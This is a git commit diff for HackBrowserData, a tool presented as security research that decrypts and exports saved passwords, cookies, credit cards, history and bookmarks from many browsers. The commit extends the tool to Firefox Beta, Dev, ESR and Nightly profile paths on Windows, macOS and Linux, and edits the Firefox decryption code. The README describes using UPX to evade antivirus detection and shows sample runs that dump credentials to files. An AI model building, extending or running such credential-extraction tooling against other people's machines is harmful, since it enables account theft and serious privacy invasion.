Merge remote-tracking branch 'upstream/master'

pull/74/head
Aquilao 4 years ago
commit 7fdcd0a797
  1. 76
      README.md
  2. 67
      README_ZH.md
  3. 2
      cmd/cmd.go
  4. 52
      core/browser.go
  5. 42
      core/browser_darwin.go
  6. 40
      core/browser_linux.go
  7. 74
      core/browser_windows.go
  8. 40
      core/decrypt/decrypt.go

@ -4,30 +4,34 @@
[中文说明](https://github.com/moonD4rk/HackBrowserData/blob/master/README_ZH.md)
hack-browser-data is an open-source tool that could help you decrypt data ( passwords|bookmarks|cookies|history ) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.
hack-browser-data is an open-source tool that could help you decrypt data ( password|bookmark|cookie|history|credit card|downloads link ) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.
> Statement: This tool is limited to security research only, and the user assumes all legal and related responsibilities arising from its use! The author assumes no legal responsibility!
### Supported Browser
## Supported Browser
#### Windows
### Windows
| Browser | Password | Cookie | Bookmark | History |
| :---------------------------------- | :------: | :----: | :------: | :-----: |
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| 360 Speed Browser | ✅ | ✅ | ✅ | ✅ |
| QQ Browser | ✅ | ✅ | ✅ | ✅ |
| Brave Browser | ✅ | ✅ | ✅ | ✅ |
| Opera Browser | ✅ | ✅ | ✅ | ✅ |
| OperaGX Browser | ✅ | ✅ | ✅ | ✅ |
| Vivaldi Browser | ✅ | ✅ | ✅ | ✅ |
| 360 Speed | ✅ | ✅ | ✅ | ✅ |
| QQ | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| Internet Explorer | ❌ | ❌ | ❌ | ❌ |
#### MacOS
### MacOS
Based on Apple's security policy, some browsers **require a current user password** to decrypt.
@ -36,27 +40,37 @@ Based on Apple's security policy, some browsers **require a current user passwor
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| Brave Browser | ✅ | ✅ | ✅ | ✅ |
| Opera Browser | ✅ | ✅ | ✅ | ✅ |
| OperaGX Browser | ✅ | ✅ | ✅ | ✅ |
| Vivaldi Browser | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| Safari | ❌ | ❌ | ❌ | ❌ |
#### Linux
### Linux
| Browser | Password | Cookie | Bookmark | History |
| :---------------------------------- | :------: | :----: | :------: | :-----: |
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge Dev | ✅ | ✅ | ✅ | ✅ |
| Brave Browser | ✅ | ✅ | ✅ | ✅ |
| Opera Browser | ✅ | ✅ | ✅ | ✅ |
| Vivaldi Browser | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
## Getting started
### Install
@ -64,7 +78,7 @@ Installation of hack-browser-data is dead-simple, just download [the release for
> In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed, after version 0.2.6 will use UPX try to simply bypass, then no longer with antivirus software to do unnecessary security confrontations.The code is all open source, you can modify and compile by yourself.
#### Building from source
### Building from source
support `go 1.14+`
@ -78,11 +92,11 @@ go get -v -t -d ./...
go build
```
##### Cross compile
### Cross compile
Need install target OS's `gcc` library, here's an example of use `Mac` building for `Windows` and `Linux`
**Windows**
#### For Windows
```shell
brew install mingw-w64
@ -90,7 +104,7 @@ brew install mingw-w64
CGO_ENABLED=1 GOOS=windows GOARCH=amd64 CC="x86_64-w64-mingw32-gcc" go build
```
**Linux**
#### For Linux
````shell
brew install FiloSottile/musl-cross/musl-cross
@ -98,7 +112,7 @@ brew install FiloSottile/musl-cross/musl-cross
CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags "-linkmode external -extldflags -static"
````
#### Run
### Run
You can double-click to run, or use command line.
@ -112,7 +126,7 @@ USAGE:
Get all data(password/cookie/history/bookmark) from chrome
VERSION:
0.3.4
0.3.5
GLOBAL OPTIONS:
--verbose, --vv verbose (default: false)
--compress, --cc compress result to zip (default: false)
@ -147,7 +161,7 @@ PS C:\test> .\hack-browser-data.exe -b all -f json --dir results -cc
[x]: Get 6 history, filename is results/chrome_history.json
[x]: Compress success, zip filename is results/archive.zip
```
#### Run with custom browser profile path
### Run with custom browser profile path
```
PS C:\Users\User\Desktop> .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default' -k 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Local State'
@ -168,18 +182,18 @@ PS C:\Users\User\Desktop> .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppD
[x]: Get 0 passwords, filename is results/microsoft_edge_password.csv
```
### Contributors
## Contributors
![](/CONTRIBUTORS.svg)
### 404StarLink 2.0 - Galaxy
## 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
HackBrowserData is a part of 404Team [StarLink-Galaxy](https://github.com/knownsec/404StarLink2.0-Galaxy), if you have any questions about HackBrowserData or want to find a partner to communicate with,please refer to the [Starlink group](https://github.com/knownsec/404StarLink2.0-Galaxy#community).
### TODO
## TODO
[Desktop Browser Market Share Worldwide](https://gs.statcounter.com/browser-market-share/desktop/worldwide)

@ -1,20 +1,19 @@
# HackBrowserData
hack-browser-data 是一个解密浏览器数据(密码|历史记录|Cookies|书签)的导出工具,支持全平台主流浏览器。
hack-browser-data 是一个解密浏览器数据(密码|历史记录|Cookie|书签 | 信用卡 | 下载记录)的导出工具,支持全平台主流浏览器。
>特别声明:此工具仅限于安全研究,用户承担因使用此工具而导致的所有法律和相关责任!作者不承担任何法律责任!
### 各平台浏览器支持情况
## 各平台浏览器支持情况
#### Windows
### Windows
| 浏览器 | 密码 | Cookie | 书签 | 历史记录 |
| :--------------------------- | :------: | :----: | :------: | :-----: |
| 浏览器 | 密码 | Cookie | 书签 | 历史记录 |
| :------- | :------: | :----: | :------: | :-----: |
| Google Chrome| ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta| ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox| ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge| ✅ | ✅ | ✅ | ✅ |
| 360 极速浏览器 | ✅ | ✅ | ✅ | ✅ |
| QQ 浏览器| ✅ | ✅ | ✅ | ✅ |
@ -22,8 +21,13 @@ hack-browser-data 是一个解密浏览器数据(密码|历史记录|Cookies|
| Opera 浏览器 | ✅ | ✅ | ✅ | ✅ |
| OperaGX 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Vivaldi 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| IE 浏览器 | ❌ | ❌ | ❌ | ❌ |
#### MacOS
### MacOS
由于 MacOS 的安全性设置,基于 `Chromium` 内核浏览器解密时**需要当前用户密码**
@ -32,35 +36,44 @@ hack-browser-data 是一个解密浏览器数据(密码|历史记录|Cookies|
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox| ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| Brave 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Opera 浏览器 | ✅ | ✅ | ✅ | ✅ |
| OperaGX 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Vivaldi 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| Safari | ❌ | ❌ | ❌ | ❌|
#### Linux
### Linux
| 浏览器 | 密码 | Cookie | 书签 | 历史记录 |
| :------------ | :------: | :----: | :------: | :-----: |
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| Brave 浏览器 | ✅ | ✅ | ✅ | ✅ |
| Opera Browser | ✅ | ✅ | ✅ | ✅ |
| Vivaldi Browser | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
### 安装运行
## 安装运行
### 安装
可下载已编译好,直接运行的 [二进制文件 ](https://github.com/moonD4rk/HackBrowserData/releases)
> 某些情况下,这款安全工具会被 Windows Defender 或其他杀毒软件当作病毒从而无法执行,0.2.6 版本后将使用 UPX 做简单的压缩壳免杀,后续不再提供免杀做无谓的安全对抗。代码已全部开源,可自己修改编译。
#### 自己编译
### 从源码编译
支持版本 `go 1.14+`
@ -74,11 +87,11 @@ go get -v -t -d ./...
go build
```
##### 跨平台编译
### 跨平台编译
由于用到了 `go-sqlite3` 库,在跨平台编译时需提前安装支持目标平台的 `GCC` 工具,下面以 `MacOS` 下分别编译 `Windows``Linux` 程序为例:
**Windows**
#### Windows
```shell
@ -87,7 +100,7 @@ brew install mingw-w64
CGO_ENABLED=1 GOOS=windows GOARCH=amd64 CC="x86_64-w64-mingw32-gcc" go build
```
**Linux**
#### Linux
```shell
brew install FiloSottile/musl-cross/musl-cross
@ -95,7 +108,7 @@ brew install FiloSottile/musl-cross/musl-cross
CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags "-linkmode external -extldflags -static"
```
#### 运行
### 运行
双击直接运行,也可以命令行调整对应的命令
@ -109,7 +122,7 @@ USAGE:
Get all data(password/cookie/history/bookmark) from chrome
VERSION:
0.3.4
0.3.5
GLOBAL OPTIONS:
--verbose, --vv verbose (default: false)
--compress, --cc compress result to zip (default: false)
@ -145,16 +158,16 @@ PS C:\test> .\hack-browser-data.exe -b all -f json --dir results -cc
[x]: Compress success, zip filename is results/archive.zip
```
### Contributors
## Contributors
![](/CONTRIBUTORS.svg)
### 404StarLink 2.0 - Galaxy
## 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
HackBrowserData 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对 HackBrowserData有任何疑问又或是想要找小伙伴交流,可以参考[星链计划的加群方式](https://github.com/knownsec/404StarLink2.0-Galaxy#community)。
### TODO
## TODO
[Desktop Browser Market Share Worldwide](https://gs.statcounter.com/browser-market-share/desktop/worldwide)

@ -25,7 +25,7 @@ func Execute() {
Name: "hack-browser-data",
Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
Version: "0.3.4",
Version: "0.3.5",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},

@ -12,17 +12,21 @@ import (
)
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
chromiumName = "Chromium"
edgeName = "Microsoft Edge"
firefoxName = "Firefox"
speed360Name = "360speed"
qqBrowserName = "qq"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
chromiumName = "Chromium"
edgeName = "Microsoft Edge"
firefoxName = "Firefox"
firefoxBetaName = "Firefox Beta"
firefoxDevName = "Firefox Dev"
firefoxNightlyName = "Firefox Nightly"
firefoxESRName = "Firefox ESR"
speed360Name = "360speed"
qqBrowserName = "qq"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
)
type Browser interface {
@ -35,10 +39,10 @@ type Browser interface {
// GetSecretKey return browser secret key
GetSecretKey() []byte
// GetAllItems return all of items (password|bookmark|cookie|history)
// GetAllItems return all items (password|bookmark|cookie|history)
GetAllItems() ([]data.Item, error)
// GetItem return single one from password|bookmark|cookie|history
// GetItem return single one from the password|bookmark|cookie|history
GetItem(itemName string) (data.Item, error)
}
@ -125,7 +129,7 @@ type Chromium struct {
secretKey []byte
}
// NewChromium return chromium browser interface
// NewChromium return Chromium browser interface
func NewChromium(profile, key, name, storage string) (Browser, error) {
return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil
}
@ -139,13 +143,13 @@ func (c *Chromium) GetSecretKey() []byte {
}
// GetAllItems return all chromium items from browser
// if can't find item path, log error then continue
// if can't find the item path, log error then continue
func (c *Chromium) GetAllItems() ([]data.Item, error) {
var items []data.Item
for item, choice := range chromiumItems {
m, err := getItemPath(c.profilePath, choice.mainFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", c.name, item, err)
log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err)
continue
}
i := choice.newItem(m, "")
@ -161,7 +165,7 @@ func (c *Chromium) GetItem(itemName string) (data.Item, error) {
if item, ok := chromiumItems[itemName]; ok {
m, err := getItemPath(c.profilePath, item.mainFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err)
log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err)
}
i := item.newItem(m, "")
return i, nil
@ -192,13 +196,13 @@ func (f *Firefox) GetAllItems() ([]data.Item, error) {
if choice.subFile != "" {
sub, err = getItemPath(f.profilePath, choice.subFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", f.name, item, err)
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
continue
}
}
main, err = getItemPath(f.profilePath, choice.mainFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", f.name, item, err)
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
continue
}
i := choice.newItem(main, sub)
@ -218,12 +222,12 @@ func (f *Firefox) GetItem(itemName string) (data.Item, error) {
if item.subFile != "" {
sub, err = getItemPath(f.profilePath, item.subFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", f.name, item.subFile, err)
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err)
}
}
main, err = getItemPath(f.profilePath, item.mainFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err)
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err)
}
i := item.newItem(main, sub)
log.Debugf("%s find %s file success", f.name, item.mainFile)
@ -238,13 +242,13 @@ func (f *Firefox) GetName() string {
}
// GetSecretKey for firefox is always nil
// this method use to implement Browser interface
// this method used to implement Browser interface
func (f *Firefox) GetSecretKey() []byte {
return nil
}
// InitSecretKey for firefox is always nil
// this method use to implement Browser interface
// this method used to implement Browser interface
func (f *Firefox) InitSecretKey() error {
return nil
}
@ -316,7 +320,7 @@ func getItemPath(profilePath, file string) (string, error) {
return "", fmt.Errorf("find %s failed", file)
}
// getKeyPath try get key file path with browser's profile path
// getKeyPath try to get key file path with the browser's profile path
// default key file path is in the parent directory of the profile dir, and name is [Local State]
func getKeyPath(profilePath string) (string, error) {
if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) {

@ -10,15 +10,19 @@ import (
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default*/"
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/"
fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/"
fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/"
fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/"
fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/"
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/"
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/"
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/"
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/"
)
const (
@ -44,6 +48,26 @@ var (
Name: firefoxName,
New: NewFirefox,
},
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,

@ -11,14 +11,18 @@ import (
)
const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default*/"
chromeProfilePath = "/home/*/.config/google-chrome/*/"
chromiumProfilePath = "/home/*/.config/chromium/*/"
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/"
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/"
operaProfilePath = "/home/*/.config/opera/"
vivaldiProfilePath = "/home/*/.config/vivaldi/*/"
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release*/"
fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta*/"
fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default*/"
fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/"
fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr*/"
chromeProfilePath = "/home/*/.config/google-chrome/*/"
chromiumProfilePath = "/home/*/.config/chromium/*/"
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/"
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/"
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/"
operaProfilePath = "/home/*/.config/opera/"
vivaldiProfilePath = "/home/*/.config/vivaldi/*/"
)
const (
@ -44,6 +48,26 @@ var (
Name: firefoxName,
New: NewFirefox,
},
"firefox-beta": {
ProfilePath: fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,

@ -13,25 +13,29 @@ import (
)
const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State"
chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/"
chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/"
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default*/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/"
fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/"
fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/"
fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/"
fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/"
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/"
chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State"
chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/"
chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/"
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
)
var (
@ -42,6 +46,31 @@ var (
Storage string
New func(profile, key, name, storage string) (Browser, error)
}{
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"firefox-beta": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath,
Name: firefoxBetaName,
New: NewFirefox,
},
"firefox-dev": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath,
Name: firefoxDevName,
New: NewFirefox,
},
"firefox-nightly": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath,
Name: firefoxNightlyName,
New: NewFirefox,
},
"firefox-esr": {
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath,
Name: firefoxESRName,
New: NewFirefox,
},
"chrome": {
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
@ -76,11 +105,6 @@ var (
Name: qqBrowserName,
New: NewChromium,
},
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: NewFirefox,
},
"brave": {
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath,
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath,
@ -112,7 +136,7 @@ var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
// InitSecretKey on Windows with win32 DPAPI
// InitSecretKey with win32 DPAPI
// conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548
func (c *Chromium) InitSecretKey() error {
if c.keyPath == "" {

@ -100,21 +100,21 @@ func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
/* META Struct
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (4 elem)
OCTET STRING (32 byte)
INTEGER 1
INTEGER 32
SEQUENCE (1 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OBJECT IDENTIFIER
OCTET STRING (14 byte)
OCTET STRING (16 byte)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (4 elem)
OCTET STRING (32 byte)
INTEGER 1
INTEGER 32
SEQUENCE (1 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OBJECT IDENTIFIER
OCTET STRING (14 byte)
OCTET STRING (16 byte)
*/
type MetaPBE struct {
MetaSequenceA
@ -176,7 +176,7 @@ func PKCS5UnPadding(src []byte) []byte {
return src[:(length - unpad)]
}
// Des3Decrypt use for decrypt firefox PBE
// des3Decrypt use for decrypt firefox PBE
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
@ -201,11 +201,11 @@ func PaddingZero(s []byte, l int) []byte {
}
}
/*
/* Login Struct
SEQUENCE (3 elem)
OCTET STRING (16 byte)
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm)
OBJECT IDENTIFIER
OCTET STRING (8 byte)
OCTET STRING (16 byte)
*/
@ -217,9 +217,9 @@ type LoginPBE struct {
type LoginSequence struct {
asn1.ObjectIdentifier
Iv []byte
IV []byte
}
func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
return des3Decrypt(globalSalt, l.Iv, l.Encrypted)
return des3Decrypt(globalSalt, l.IV, l.Encrypted)
}

Loading…
Cancel
Save